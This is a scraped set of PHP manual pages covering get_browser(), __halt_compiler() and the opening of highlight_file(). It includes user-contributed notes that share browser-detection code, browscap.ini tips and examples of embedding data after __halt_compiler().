Example #1 Listing all information about the users browser

<?php
echo $_SERVER['HTTP_USER_AGENT'] . "\n\n";

$browser = get_browser(null, true);
print_r($browser);
?>

The above example will output something similar to:

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3

Array
(
    [browser_name_regex] => ^mozilla/5\.0 (windows; .; windows nt 5\.1; .*rv:.*) gecko/.* firefox/0\.9.*$
    [browser_name_pattern] => Mozilla/5.0 (Windows; ?; Windows NT 5.1; *rv:*) Gecko/* Firefox/0.9*
    [parent] => Firefox 0.9
    [platform] => WinXP
    [browser] => Firefox
    [version] => 0.9
    [majorver] => 0
    [minorver] => 9
    [cssversion] => 2
    [frames] => 1
    [iframes] => 1
    [tables] => 1
    [cookies] => 1
    [backgroundsounds] =>
    [vbscript] =>
    [javascript] => 1
    [javaapplets] => 1
    [activexcontrols] =>
    [cdf] =>
    [aol] =>
    [beta] => 1
    [win16] =>
    [crawler] =>
    [stripper] =>
    [wap] =>
    [netclr] =>
)

Notes

Note:

In order for this to work, your browscap configuration setting in php.ini must point to the correct location of the browscap.ini file on your system.

browscap.ini is not bundled with PHP, but you may find an up-to-date » php_browscap.ini file here.

While browscap.ini contains information on many browsers, it relies on user updates to keep the database current. The format of the file is fairly self-explanatory.

User Contributed Notes

Billscott 21-Oct-2014 09:36
After a great deal of research in to how to detect a users browser using php.I found out that the following code below works  best so i feel like sharing.
<?php
$user_agent = $_SERVER['HTTP_USER_AGENT'];

if (preg_match('/safari/i', $user_agent)) {
   echo "safari";
   }else if (preg_match('/Mozilla/i', $user_agent)) {
   echo "Mozilla";
   }else if (preg_match('/chrome/i', $user_agent)) {
   echo "chrome";
   }else{
echo "You are not using any of the major browsers";
}
?>
tim at digicol dot de 22-May-2014 10:01
Be aware that loading php_browscap.ini via the browscap php.ini setting may consume a non-trivial amount of memory. Current versions are several MB in size (even the “lite” one) and can eat tens of MB of RAM in each PHP process. This happens even if you never call get_browser() since php_browscap.ini is loaded when PHP is starting up.

Make sure to leave the browscap php.ini setting empty if you don’t use get_browser() – maybe you only call it only from PHP Web pages, but not from PHP CLI code.

I’d recommend comparing your processes’ memory consumption with and without php_browscap.ini being loaded. If necesseray, consider creating your own stripped-down copy of php_browscap.ini with just the browsers that are important to you.
haci at muratyaman dot co dot uk 22-May-2014 06:52
I've just lost a day because of this stupid browser_name_regex property:

e.g. "§^mozilla/5\.0 \(.*windows nt 6\.1.*wow64.*\) gecko/.* firefox/29\.0.*$§"

To replicate the issue and work around bloody '§' character, please below. Whose idea was it to use that character?!

<?php
$ua = $_SERVER['HTTP_USER_AGENT'];
echo '$_SERVER[\'HTTP_USER_AGENT\'] => "' . $ua . '"<br />';

$browser = get_browser($ua);
echo 'get_browser($ua) => <pre>';
var_dump($browser);
echo '</pre><br />';

$json = json_encode($browser, JSON_PRETTY_PRINT);
echo 'json_encode($browser) => <pre>';
echo $json;
echo '</pre><br />';

echo 'json_last_error() => "' . json_last_error() . '"<br />';

//echo 'unsetting $browser->browser_name_regex <br />';
//unset($browser->browser_name_regex);
//or
echo '$browser->browser_name_regex = utf8_encode($browser->browser_name_regex);<br />';
$browser->browser_name_regex = utf8_encode($browser->browser_name_regex);

$json = json_encode($browser, JSON_PRETTY_PRINT);
echo 'json_encode($browser) => <pre>';
echo $json;
echo '</pre><br />';

echo 'json_last_error() => "' . json_last_error() . '"<br />';
?>
ibi at tlr dot de 16-May-2014 12:17
@ruudrp:
you might want to distinguish the OS even further:
(at least for windows that is)

    elseif (preg_match('/windows|win32/i', $u_agent)) {
        $platform = 'Windows';
        if (preg_match('/NT 6.2/i', $u_agent)) { $platform .= ' 8'; }
            elseif (preg_match('/NT 6.3/i', $u_agent)) { $platform .= ' 8.1'; }
            elseif (preg_match('/NT 6.1/i', $u_agent)) { $platform .= ' 7'; }
            elseif (preg_match('/NT 6.0/i', $u_agent)) { $platform .= ' Vista'; }
            elseif (preg_match('/NT 5.1/i', $u_agent)) { $platform .= ' XP'; }
            elseif (preg_match('/NT 5.0/i', $u_agent)) { $platform .= ' 2000'; }
        if (preg_match('/WOW64/i', $u_agent) || preg_match('/x64/i', $u_agent)) { $platform .= ' (x64)'; }
    }
cbonfrate at gmail dot com 01-Feb-2014 01:35
You could add this to the ruudrp's code, to recognize MSIE 11

if(preg_match('/Trident/i', $u_agent) && !preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Internet Explorer';
        $ub = "Trident";
    }
Anonymous 11-Dec-2013 03:53
Warning!
For All Users there is a new website about new
"Browser Capabilities Project"
browscap.org

look here : goo.gl/gOPxHp
this is a question about one of the problems have been fixed in the new version.

تحذير!
لكل المستخدمين انه هناك موقع جديد عن مشروع قدرات المتصفح
"Browser Capabilities Project"
browscap.org

انظر هنا : goo.gl/gOPxHp
هذا هو سؤال عن احد المشاكل التى تم اصلاحُها فى الاصدار الجديد
wind_born at yahoo dot com 25-Oct-2013 04:07
Your system may have problems parsing browscap.ini if the value fields are not quoted (see bishop's note). This is often true even for the PHP specific version of the published browscap.ini. The sed command below adds quotations to the values:

sed '/^[a-zA-Z0-9].*=[a-zA-Z0-9]/s/=\(.*\)/="\1"/' $inFile > $fixedFile

If you're using a script to fetch the latest browscap.ini, consider adding this operation to the script.
meduza 27-Dec-2011 10:48
I stopped trying to detect the browser name and the browser's version, due to the non standard user-agents, is impossible to cover all the possible browsers, and cover only the most used ones is not good.
I only detect the platform, the engine and the version, that cover a lot of possible browsers and let me code based on that, for example, the engine gecko, covers firefox, seamonkey and all the gecko based browsers.

this is a example piece of code taken from my own, is maybe incomplete but as example is good, to detect the engines.

<?php
/****** browser engine detection **************/
//browsers
define("UNKNOWN", 0);
define("TRIDENT", 1);
define("GECKO", 2);
define("PRESTO", 3);
define("WEBKIT", 4);
define("VALIDATOR", 5);
define("ROBOTS", 6);

if(!isset($_SESSION["info"]['browser'])) {
    $_SESSION["info"]['browser']['engine'] = UNKNOWN;
    $_SESSION["info"]['browser']['version'] = UNKNOWN;
    $_SESSION["info"]['browser']['platform'] = 'Unknown';

    $navigator_user_agent = ' ' . strtolower($_SERVER['HTTP_USER_AGENT']);

    if (strpos($navigator_user_agent, 'linux')) :
        $_SESSION["info"]['browser']['platform'] = 'Linux';
    elseif (strpos($navigator_user_agent, 'mac')) :
        $_SESSION["info"]['browser']['platform'] = 'Mac';
    elseif (strpos($navigator_user_agent, 'win')) :
        $_SESSION["info"]['browser']['platform'] = 'Windows';
    endif;

    if (strpos($navigator_user_agent, "trident")) {
        $_SESSION["info"]['browser']['engine'] = TRIDENT;
        $_SESSION["info"]['browser']['version'] = floatval(substr($navigator_user_agent, strpos($navigator_user_agent, "trident/") + 8, 3));
    }
    elseif (strpos($navigator_user_agent, "webkit")) {
        $_SESSION["info"]['browser']['engine'] = WEBKIT;
        $_SESSION["info"]['browser']['version'] = floatval(substr($navigator_user_agent, strpos($navigator_user_agent, "webkit/") + 7, 8));
    }
        elseif (strpos($navigator_user_agent, "presto")) {
        $_SESSION["info"]['browser']['engine'] = PRESTO;
        $_SESSION["info"]['browser']['version'] = floatval(substr($navigator_user_agent, strpos($navigator_user_agent, "presto/") + 6, 7));
    }
    elseif (strpos($navigator_user_agent, "gecko")) {
        $_SESSION["info"]['browser']['engine'] = GECKO;
        $_SESSION["info"]['browser']['version'] = floatval(substr($navigator_user_agent, strpos($navigator_user_agent, "gecko/") + 6, 9));
    }
    elseif (strpos($navigator_user_agent, "robot"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "spider"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "bot"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "crawl"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "search"))
        $_SESSION["info"]['browser']['engine'] = ROBOTS;
    elseif (strpos($navigator_user_agent, "w3c_validator"))
        $_SESSION["info"]['browser']['engine'] = VALIDATOR;
    elseif (strpos($navigator_user_agent, "jigsaw"))
        $_SESSION["info"]['browser']['engine'] = VALIDATOR;

echo "<pre>\n\nEngine detected: ".$_SESSION["info"]['browser']['engine'];
switch($_SESSION["info"]['browser']['engine']) {
    case UNKNOWN: echo " (unknown)";
    break;
    case TRIDENT: echo " (trident)";
    break;
    case GECKO: echo " (gecko)";
    break;
    case PRESTO: echo " (presto)";
    break;
    case WEBKIT: echo " (Webkit)";
    break;
    case VALIDATOR: echo " (validator)";
    break;
    case ROBOTS: echo " (robot)";
}
echo "\nEngine version: ".$_SESSION["info"]['browser']['version'];
echo "\nPlataform detected: ".$_SESSION["info"]['browser']['platform'];
echo " \n\n</pre>";
?>

PD: you can add more engines and use an array, I just removed that and put the most popular engines as example, and used elseif instead, this code maybe have errors because is just an example.
Anonymous 11-Jul-2011 03:52
For those of you using this function to target MSIE, a better idea maybe to use MSIE specific conditional comments. More info: <http://msdn.microsoft.com/en-us/library/ms537512%28VS.85%29.aspx>.

For example to indicate your disregard for users of MSIE 6 or earlier:

<!--[if lt IE 7]>It appears that you are using a <em>very</em> old version of MS Internet Explorer (MSIE). If you seriously want to continue to use MSIE, at least <a href="http://www.microsoft.com/windows/internet-explorer/">upgrade</a>.<![endif]-->
Simeon 09-Dec-2010 02:27
This code is for placing a box in the corner of IE user's page warning of the disregard the web-designer has for the website's appearance in IE.  Call the box with ie_box(). Style and position the box how you want using the iebox css class.

<?php
function using_ie()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $ub = False;
    if(preg_match('/MSIE/i',$u_agent))
    {
        $ub = True;
    }

    return $ub;
}

function ie_box() {
    if (using_ie()) {
        ?>
        <div class="iebox">
            This page is not designed for Intenet Explorer.  If you want to see this webpage as intended, please use a standards compliant browser, such as <a href="http://www.google.com/chrome">Google Chrome</a>.
        </div>
        <?php
    return;
    }
}
?>
ruudrp at live dot nl 28-Nov-2010 12:31
To my surprise I found that none of the get_browser alternatives output the correct name / version combination that I was looking for using Opera or Chrome. They either give the wrong name eg Safari when in fact it should be Chrome and if the ua string includes a version number as with the latest versions of Chrome and Opera the wrong number is reported. So I took bits and pieces from the various examples and combined them and added a check for version.

<?php
function getBrowser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $bname = 'Unknown';
    $platform = 'Unknown';
    $version= "";

    //First get the platform?
    if (preg_match('/linux/i', $u_agent)) {
        $platform = 'linux';
    }
    elseif (preg_match('/macintosh|mac os x/i', $u_agent)) {
        $platform = 'mac';
    }
    elseif (preg_match('/windows|win32/i', $u_agent)) {
        $platform = 'windows';
    }

    // Next get the name of the useragent yes seperately and for good reason
    if(preg_match('/MSIE/i',$u_agent) && !preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Internet Explorer';
        $ub = "MSIE";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $bname = 'Mozilla Firefox';
        $ub = "Firefox";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $bname = 'Google Chrome';
        $ub = "Chrome";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $bname = 'Apple Safari';
        $ub = "Safari";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $bname = 'Opera';
        $ub = "Opera";
    }
    elseif(preg_match('/Netscape/i',$u_agent))
    {
        $bname = 'Netscape';
        $ub = "Netscape";
    }

    // finally get the correct version number
    $known = array('Version', $ub, 'other');
    $pattern = '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9.|a-zA-Z.]*)#';
    if (!preg_match_all($pattern, $u_agent, $matches)) {
        // we have no matching number just continue
    }

    // see how many we have
    $i = count($matches['browser']);
    if ($i != 1) {
        //we will have two since we are not using 'other' argument yet
        //see if version is before or after the name
        if (strripos($u_agent,"Version") < strripos($u_agent,$ub)){
            $version= $matches['version'][0];
        }
        else {
            $version= $matches['version'][1];
        }
    }
    else {
        $version= $matches['version'][0];
    }

    // check if we have a number
    if ($version==null || $version=="") {$version="?";}

    return array(
        'userAgent' => $u_agent,
        'name'      => $bname,
        'version'   => $version,
        'platform'  => $platform,
        'pattern'    => $pattern
    );
}

// now try it
$ua=getBrowser();
$yourbrowser= "Your browser: " . $ua['name'] . " " . $ua['version'] . " on " .$ua['platform'] . " reports: <br >" . $ua['userAgent'];
print_r($yourbrowser);
?>
henda dot exe at gmail dot com 16-Aug-2010 06:27
Just a warning to anybody using the preg_match function to determine what browser the viewer is using. I found with google chrome the array contains the following entries;
(Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4

As I was using preg_match('/Chrome/i',$u_agent)) and preg_match('/Safari/i',$u_agent)) i found my script was reporting browsers as safari when infact the browser in use was google chrome.
Becheru Petru-Ioan 05-Apr-2010 12:39
IE has a nasty bug called the Peekaboo bug that affected my website. I found that printing a '_' before the html tag of the webpage gets rid of this nasty bug. Using code inspirated by comment bellow here is the  code that detects if a visitor is using internet explorer:

<?php
$known = array('msie', 'firefox', 'safari', 'webkit', 'opera', 'netscape', 'konqueror', 'gecko');
preg_match_all( '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9]+(?:\.[0-9]+)?)#', strtolower( $_SERVER[ 'HTTP_USER_AGENT ' ]), $browser );
if($browser['browser'][0]=='msie') print('_');
?>
Brinley Ang 02-Apr-2010 04:38
This is the latest format of the array returned from this call

Array
{
    [browser_name_regex] => ^mozilla/5\.0 (x11; .*; .*linux.*; .*; rv:1\.9\..*) gecko/.* firefox/3\.5.*$
    [browser_name_pattern] => Mozilla/5.0 (X11; *; *Linux*; *; rv:1.9.*) Gecko/* Firefox/3.5*
    [parent] => Firefox 3.5
    [platform] => Linux
    [browser] => Firefox
    [version] => 3.5
    [majorver] => 3
    [minorver] => 5
    [frames] => 1
    [iframes] => 1
    [tables] => 1
    [cookies] => 1
    [javaapplets] => 1
    [javascript] => 1
    [cssversion] => 3
    [supportscss] => 1
    [alpha] =>
    [beta] =>
    [win16] =>
    [win32] =>
    [win64] =>
    [backgroundsounds] =>
    [cdf] =>
    [vbscript] =>
    [activexcontrols] =>
    [isbanned] =>
    [ismobiledevice] =>
    [issyndicationreader] =>
    [crawler] =>
    [aol] =>
    [aolversion] => 0
}
robert at broofa dot com 18-Jul-2009 10:33
If you're just finding this API, note that you may want to use a lighter-weight
browser detection script.  get_browser() requires the "browscap.ini" file,
which is 300KB+.  Loading and processing this file will likely impact script
performance.  Although it surely provides excellent detection results, in most
cases a much simpler method can be just as effective.  This is why so many
previous commenters have provided alternate implementations.

Here's the solution I ended up using, which I've tested on the agents listed at
http://whatsmyuseragent.com/CommonUserAgents.asp It has the advantage of being
compact and reasonably easy to extend (just add entries to the $known array
defined at the top).  It should be fairly performant as well, since it doesn't
do any iteratoin or recursion.

<?php
function browser_info($agent=null) {
  // Declare known browsers to look for
  $known = array('msie', 'firefox', 'safari', 'webkit', 'opera', 'netscape',
    'konqueror', 'gecko');

  // Clean up agent and build regex that matches phrases for known browsers
  // (e.g. "Firefox/2.0" or "MSIE 6.0" (This only matches the major and minor
  // version numbers.  E.g. "2.0.0.6" is parsed as simply "2.0"
  $agent = strtolower($agent ? $agent : $_SERVER['HTTP_USER_AGENT']);
  $pattern = '#(?<browser>' . join('|', $known) .
    ')[/ ]+(?<version>[0-9]+(?:\.[0-9]+)?)#';

  // Find all phrases (or return empty array if none found)
  if (!preg_match_all($pattern, $agent, $matches)) return array();

  // Since some UAs have more than one phrase (e.g Firefox has a Gecko phrase,
  // Opera 7,8 have a MSIE phrase), use the last one found (the right-most one
  // in the UA).  That's usually the most correct.
  $i = count($matches['browser'])-1;
  return array($matches['browser'][$i] => $matches['version'][$i]);
}
?>
This returns an array with the detected browser as the key, and the version as
the value, and also sets 'browser' and 'version' keys.  For example on Firefox
3.5:
<?php
$ua = browser_info();
print_r($ua);
/* Yields ...
Array
(
    [firefox] => 3.5
    [browser] => firefox
    [version] => 3.5
)
*/

// Various browser tests you can do with the returned array ...
if ($ua['firefox']) ... // true
if ($ua['firefox'] > 3) ... // true
if ($ua['firefox'] > 4) ... // false
if ($ua['browser'] == 'firefox') ... // true
if ($ua['version'] > 3.5) ... // true
if ($ua['msie']) ... // false ('msie' key not defined)
if ($ua['opera'] > 3) ... // false ('opera' key not defined)
if ($ua['safari'] < 3) ... // false also ('safari' key not defined)
?>
Steve Perkins 22-Jun-2009 01:11
This is a simple class to detect the client browser and version using regular expressions.

<?PHP
class Browser
{
    private $props    = array("Version" => "0.0.0",
                                "Name" => "unknown",
                                "Agent" => "unknown") ;

    public function __Construct()
    {
        $browsers = array("firefox", "msie", "opera", "chrome", "safari",
                            "mozilla", "seamonkey",    "konqueror", "netscape",
                            "gecko", "navigator", "mosaic", "lynx", "amaya",
                            "omniweb", "avant", "camino", "flock", "aol");

        $this->Agent = strtolower($_SERVER['HTTP_USER_AGENT']);
        foreach($browsers as $browser)
        {
            if (preg_match("#($browser)[/ ]?([0-9.]*)#", $this->Agent, $match))
            {
                $this->Name = $match[1] ;
                $this->Version = $match[2] ;
                break ;
            }
        }
    }

    public function __Get($name)
    {
        if (!array_key_exists($name, $this->props))
        {
            die "No such property or function $name)" ;
        }
        return $this->props[$name] ;
    }

    public function __Set($name, $val)
    {
        if (!array_key_exists($name, $this->props))
        {
            SimpleError("No such property or function.", "Failed to set $name", $this->props) ;
            die ;
        }
        $this->props[$name] = $val ;
    }

}

?>

example code
<?PHP
$browser = new Browser ;
echo "$Browser->Name $Browser->Version" ;
?>
result when client using Firefox 3.0.11
firefox 3.0.11

result when client using unknown browser
unknown 0.0.0

etc etc
Steve Perkins 21-Jun-2009 06:42
This is a simple class to detect the client browser and version using regular expressions.

<?PHP
class Browser extends BaseObjects_PropertyArray
{
    private $props    = array("Version" => "0.0.0",
                                "Name" => "unknown",
                                "Agent" => "unknown",
                                "AllowsHeaderRedirect" => true) ;

    public function __Construct()
    {
        $browsers = array("firefox", "msie", "opera", "chrome", "safari",
                            "mozilla", "seamonkey",    "konqueror", "netscape",
                            "gecko", "navigator", "mosaic", "lynx", "amaya",
                            "omniweb", "avant", "camino", "flock", "aol");

        $this->Agent = strtolower($_SERVER['HTTP_USER_AGENT']);
        foreach($browsers as $browser)
        {
            if (preg_match("#($browser)[/ ]?([0-9.]*)#", $this->Agent, $match))
            {
                $this->Name = $match[1] ;
                $this->Version = $match[2] ;
                break ;
            }
        }
        $this->AllowsHeaderRedirect = !($this->Name == "msie" && $this->Version < 7) ;
    }

    public function __Get($name)
    {
        if (!array_key_exists($name, $this->props))
        {
            die "No such property or function $name)" ;
        }
        return $this->props[$name] ;
    }

}

?>

example code
<?PHP
$browser = new Browser ;
echo "$Browser->Name $Browser->Version" ;
?>
result when client using Firefox 3.0.11
firefox 3.0.11

result when client using unknown browser
unknown 0.0.0

etc etc
Mattkun Koder 28-Apr-2009 04:00
If you want to use: ceo /a/ mmg5 /./ com 's improved version and STILL detect Google Chrome you need to move CHROME earlier on the list Before Safari otherwise it will be detected as safari.

    $browser_list = 'msie firefox chrome konqueror safari netscape navigator opera mosaic lynx amaya omniweb avant camino flock seamonkey aol mozilla gecko';
assadvirgo at gmail dot com 13-Feb-2009 01:40
This is a very useful function to get user browser. A great utility function for those are fed up of get_browser() issues :)

<?php
function get_user_browser()
{
    $u_agent = $_SERVER['HTTP_USER_AGENT'];
    $ub = '';
    if(preg_match('/MSIE/i',$u_agent))
    {
        $ub = "ie";
    }
    elseif(preg_match('/Firefox/i',$u_agent))
    {
        $ub = "firefox";
    }
    elseif(preg_match('/Safari/i',$u_agent))
    {
        $ub = "safari";
    }
    elseif(preg_match('/Chrome/i',$u_agent))
    {
        $ub = "chrome";
    }
    elseif(preg_match('/Flock/i',$u_agent))
    {
        $ub = "flock";
    }
    elseif(preg_match('/Opera/i',$u_agent))
    {
        $ub = "opera";
    }

    return $ub;
}
?>
jesdisciple [at] gmail -dawt- com 19-Nov-2007 05:13
Use this to ensure that the costly call in its standard form never needs to be repeated:
<?php
function getBrowser(){
    static $browser;//No accident can arise from depending on an unset variable.
    if(!isset($browser)){
        $browser = get_browser($_SERVER['HTTP_USER_AGENT']);
    }
    return $browser;
}
?>
Steffen 19-Oct-2007 12:59
Keep in mind that get_browser(); really slows down your application.  It takes about 22 ms to execute on an idle server with Ubuntu Linux, Apache 2, PHP 5.1.3.
digibrisk at gmail dot NOSPAM dot SPAMNO dot com 06-Oct-2007 02:20
If the "browscap" directive isn't set in your server's php.ini, then an error warning is shown. Just in case, you could make a call to ini_get() to check if the browscap directive is set before using browser_get().

<?php
if(ini_get("browscap")) {
    $browser = get_browse(null, true);
}
?>
mike at mike-griffiths dot co dot uk 23-Jul-2007 11:41
You should not rely on just this for cross-browser compatibility issues.  Good practice would be to include HTML if-statements for IE stylesheets as well as dynamically checking the browser type.
ansar dot ahmed at impelsys dot com 22-Mar-2007 11:01
We are using get_browser() function for useragent Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) the get_browser function is returning as Default Browser and Platform = unknown.

So i added this to my browscap.ini manually:

[Mozilla/4.0 (compatible; MSIE 4.01; Windows NT)]
Parent=IE 4.01
Platform=WinNT
sam 23-Oct-2006 12:09
I thought this function might be useful to those without access to the php.ini file (such as those on a shared hosting system):

<?php
function php_get_browser($agent = NULL){
$agent=$agent?$agent:$_SERVER['HTTP_USER_AGENT'];
$yu=array();
$q_s=array("#\.#","#\*#","#\?#");
$q_r=array("\.",".*",".?");
$brows=parse_ini_file("php_browscap.ini",true);
foreach($brows as $k=>$t){
  if(fnmatch($k,$agent)){
  $yu['browser_name_pattern']=$k;
  $pat=preg_replace($q_s,$q_r,$k);
  $yu['browser_name_regex']=strtolower("^$pat$");
    foreach($brows as $g=>$r){
      if($t['Parent']==$g){
        foreach($brows as $a=>$b){
          if($r['Parent']==$a){
            $yu=array_merge($yu,$b,$r,$t);
            foreach($yu as $d=>$z){
              $l=strtolower($d);
              $hu[$l]=$z;
            }
          }
        }
      }
    }
    break;
  }
}
return $hu;
}
?>

define the location of php_browscap.ini wherever you want
always returns an array, same functionality as get_browser(NULL,true)
Hope someone finds it useful!
adspeed.com 02-Sep-2005 07:06
Here is what we do to fix the parsing error messages for php_browscap.ini downloaded from Gary's website.

<?php
// fix the browsecap.ini for php
$v= file_get_contents('php_browscap.ini');
$v= preg_replace("/\r/","",$v);
$v= preg_replace('/="(.*)"/i','=\\1',$v);
$v= preg_replace("/platform=(.*)/i","platform=\"\\1\"",$v);
$v= preg_replace("/parent=(.*)/i","parent=\"\\1\"",$v);
$v= preg_replace("/minorver=(.*)/i","minorver=\"\\1\"",$v);
$v= preg_replace("/majorver=(.*)/i","majorver=\"\\1\"",$v);
$v= preg_replace("/version=(.*)/i","version=\"\\1\"",$v);
$v= preg_replace("/browser=(.*)/i","browser=\"\\1\"",$v);
$v= str_replace("[*]","*",$v);
file_put_contents('browscap.ini',$v);
?>
max at phpexpert dot de 26-Mar-2004 04:14
Be aware of the fact that this function shows what a specific browser might be able to show, but NOT what the user has turned on/off.

So maybe this function tells you that the browser is abel to to javascript even when javascript is turned off by the user.
bishop 05-Aug-2003 08:46
PHP is sensitive to characters outside the range [ A-Za-z0-9_] as values in .ini files.  For example

browser=Opera (Bork Version)

causes PHP to complain, as it doesn't like the parentheses.

If you place quotation marks around the values for all keys in the browscap.ini file, you'll save yourself parsing problems.  Do this in eg vi with %s/=\(.*\)/="\1"/g

You could of course use PHP itself to fixup the file.  Exercise left to the reader.
verx at implix dot com 09-Dec-2002 11:57
Please keep in mind that you should somehow (for example in session) cache the required results of get_browser() because it really slows thinks down.

We have experienced that without querying for browser data our scripts would run 120-130% faster. the explanation is that over 200kb long file (browscap.ini) has to be loaded and parsed everytime someone access any page (we need browser results on all pages).

So keep results in session and expect a performance boost.
les at hazlewood dot com 04-Sep-2001 03:57
phpSniff (noted in a few places above) is absolutely fantastic.  I just installed it, and it is a godsend!  It now handles all of my session information needed to go in my database.  Thanks for you folks who posted that great Sourceforge resource!  http://phpsniff.sourceforge.net/
nick at category4 dot com 13-Jun-2001 01:21
Here's a quick way to test for a Netscape browser.  IE and Konqueror and several others call themselves "Mozilla", but they always qualify it with the word "compatible."

$isns = stristr($HTTP_USER_AGENT, "Mozilla") && (!(stristr($HTTP_USER_AGENT, "compatible")));
triad at df dot lth dot se 31-Jul-2000 01:17
The only way browscap examines the target browser is through the HTTP_USER_AGENT so there is no way you can determine installed plug-ins. The only way to do that is through client-side JavaScripts.


Halts the compiler execution

  • « get_browser
  • highlight_file »
  • PHP Manual
  • Misc. Functions
  • Halts the compiler execution

__halt_compiler

(PHP 5 >= 5.1.0)

__halt_compiler — Halts the compiler execution

Description

void __halt_compiler ( void )

Halts the execution of the compiler. This can be useful to embed data in PHP scripts, like the installation files.

Byte position of the data start can be determined by the __COMPILER_HALT_OFFSET__ constant which is defined only if there is a __halt_compiler() presented in the file.

Return Values

No value is returned.

Examples

Example #1 A __halt_compiler() example

<?php

// open this file
$fp = fopen(__FILE__, 'r');

// seek file pointer to data
fseek($fp, __COMPILER_HALT_OFFSET__);

// and output it
var_dump(stream_get_contents($fp));

// the end of the script execution
__halt_compiler(); the installation data (eg. tar, gz, PHP, etc.)

Notes

Note:

__halt_compiler() can only be used from the outermost scope.

User Contributed Notes

Krzysiek 14-Jul-2014 06:41
Joey, you're wrong saying that __halt_compiler have strange behavior. This structure works exactly the same as any other build in structure like empty or isset (even similarly to functions; at least in tokenizer level).

About T_OPEN_TAG - after one open tag is present you didn't expect other one in current php code section, so tokenizer try to handle this "thing" in other way and it's perfectly normal...
joey at gimo dot co dot uk 26-May-2014 01:10
I don't exactly know what PHP is doing internally but I don't understand the sanity behind how in token_get_all __halt_compiler is handled.

This is actually valid there:
__halt_compiler/**/ /**/ /**/ /**/ /** */();raw

Normally it pops off just any three tokens so you can have even __halt_compiler***, __halt_compiler))), etc in token _get all.

The weird thing is that is also skips T_OPEN_TAG but in the context __halt_compiler runs in this tag should not be posible. Instead it will pick up < and ? as operators and php as a T_STRING.

It ignores the token at any point so this is also valid:
__halt_compiler()/**/ /**/ /**/ /**/ /** */;raw

When I test this with a php file rather than the tokeniser it works the same.

I can only conclude that PHP/__halt_compiler is pretty weird.

I think this is from attempting to weakly imitate the same syntax handling as in functions (I guess you can put comments/whitespace anywhere). I find it annoying and counter productive though.

Even this is valid:
__halt_compiler// comment\n();raw

A general problem that compound matters is that tokenise wont check whether or not syntax is valid (tokens against each other). When running as PHP you must have ();.
Anonymous 16-Dec-2013 07:38
This is not what people expect to see on manual pages, don't take this as example.
-T- 23-Oct-2013 02:16
What zsh mentioned six years ago: "Also, it cannot be used in eval() -- it won't throw a syntax error, but it won't do anything either." is wrong. It can be used in eval() -- it will halt the eval.
ravenswd at gmail dot com 29-Jun-2010 03:16
__halt_compiler is also useful for debugging. If you need to temporarily make a change that will introduce an error later on, use __halt_compiler to prevent syntax errors. For example:

<?php
if ( $something ):
  print 'something';
endif;   // endif placed here for debugging purposes
__halt_compiler();
endif;   // original location of endif -- would produce syntax error if __halt_compiler was not there
?>
Ultimater at gmail dot com 14-May-2009 03:36
Another possible usage, in addition to binary data and installers,
is using it to separate model, view and controller logic from one another:

<?php
class viewhelper{function render(){
eval(file_get_contents(__FILE__,null,null,__COMPILER_HALT_OFFSET__));
}}

//database logic goes here
$row=array(
'loggedin'=>true,
'modcp'=>true,
'admincp'=>false,
'username'=>'Ultimater',
'userid'=>1234
);
//database logic goes here

//controller logic goes here
$view=new viewhelper;
$view->title="Test -> Ultimater's MVC example";
$view->base="http://".$_SERVER['HTTP_HOST'];
$view->username=$row['username'];
$view->userid=$row['userid'];
$view->authbar->loggedin=$row['loggedin'];
$view->authbar->modcp=$row['modcp'];
$view->authbar->admincp=$row['admincp'];
$view->render();
//controller logic goes here

__halt_compiler();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?=htmlentities($this->title)?></title>
<style type="text/css">
a{color:#3333ff;text-decoration:none;}
a:hover{color:#0380fc;}
</style>
</head>
<body>
<?php
if($this->authbar->loggedin){
?>
<table><tr>
<td>Hello <a href="<?=$this->base?>/showuser.php?id=<?=$this->userid?>
"><?=htmlentities($this->username)?></a></td><td>[</td>
<td><a href="<?=$this->base?>/logout.php">Log Out</a></td>
<th><a href="<?=$this->base?>/usercp.php">UserCP</a></th>
<? if($this->authbar->modcp){ ?>
<td>&middot;</td><th><a href="<?=$this->base?>/modcp.php">ModCP</a></th>
<? } ?>
<? if($this->authbar->admincp){ ?>
<td>&middot;</td><th><a href="<?=$this->base?>/admincp.php">AdminCP</a></th>
<? } ?>
<td>]</td>
</tr></table>
<?php
}else{
?>
<table><tr><td>Hello Guest</td><td>[</td>
<td><a href="<?=$this->base?>/login.php">Log In</a></td>
<th><a href="<?=$this->base?>/register.php">Register</a></th>
<td>]</td></tr></table>
<? } ?>
</body>
</html>
zsh 12-Oct-2007 01:11
__halt_compiler() is a language construct and therefore cannot be used as a variable function.

Also, it cannot be used in eval() -- it won't throw a syntax error, but it won't do anything either.


Syntax highlighting of a file

  • « __halt_compiler
  • highlight_string »
  • PHP Manual
  • Misc. Functions
  • Syntax highlighting of a file

highlight_file

(PHP 4, PHP 5)

highlight_file — Syntax highlighting of a file

Description

mixed highlight_file ( string $filename [, bool $return = false ] )

Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.

